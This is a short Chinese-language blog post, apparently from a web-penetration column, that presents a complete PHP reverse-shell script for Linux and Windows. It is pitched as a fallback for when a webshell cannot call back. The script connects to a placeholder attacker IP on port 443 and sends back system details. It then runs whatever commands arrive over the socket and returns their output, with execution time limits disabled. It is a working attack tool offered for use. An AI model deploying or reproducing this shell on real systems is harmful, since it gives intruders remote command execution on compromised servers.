PHP反弹Cmd/Shell 脚本

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最新推荐文章于 2023-10-08 02:24:31 发布

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分类专栏： web渗透文章标签： PHP反弹CmdShell 脚本

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本文提供了一种在Linux和Windows平台上实现Shell反弹的方法，通过PHP脚本与远程服务器建立连接，接收并执行命令，适用于当常规反弹手段受限的情况。

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遇到大马无法反弹时可以试试，linux，windows均可反弹

<?php

error_reporting (E_ERROR);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr = 'xxx.xxx.xxx.xxx';
$port = '443';
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
$env = array('path' => 'c:\\windows\\system32');
} else {
$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}

if(function_exists('fsockopen')) {
$sock = fsockopen($ipaddr,$port);
fwrite($sock,$msg);
while ($cmd = fread($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
fwrite($sock,$msg);
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
fwrite($sock,$msg);
fclose($pipes[2]);
proc_close($process);
}
}
}
fclose($sock);
} else {
$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($sock,$ipaddr,$port);
socket_write($sock,$msg);
fwrite($sock,$msg);
while ($cmd = socket_read($sock,1024)) {
if (substr($cmd,0,3) == 'cd ') {
$cwd = trim(substr($cmd,3,-1));
chdir($cwd);
$cwd = getcwd();
}
if (trim(strtolower($cmd)) == 'exit') {
break;
} else {
$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if (is_resource($process)) {
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg = stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg = stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[2]);
proc_close($process);
}
}
}
socket_close($sock);
}
?>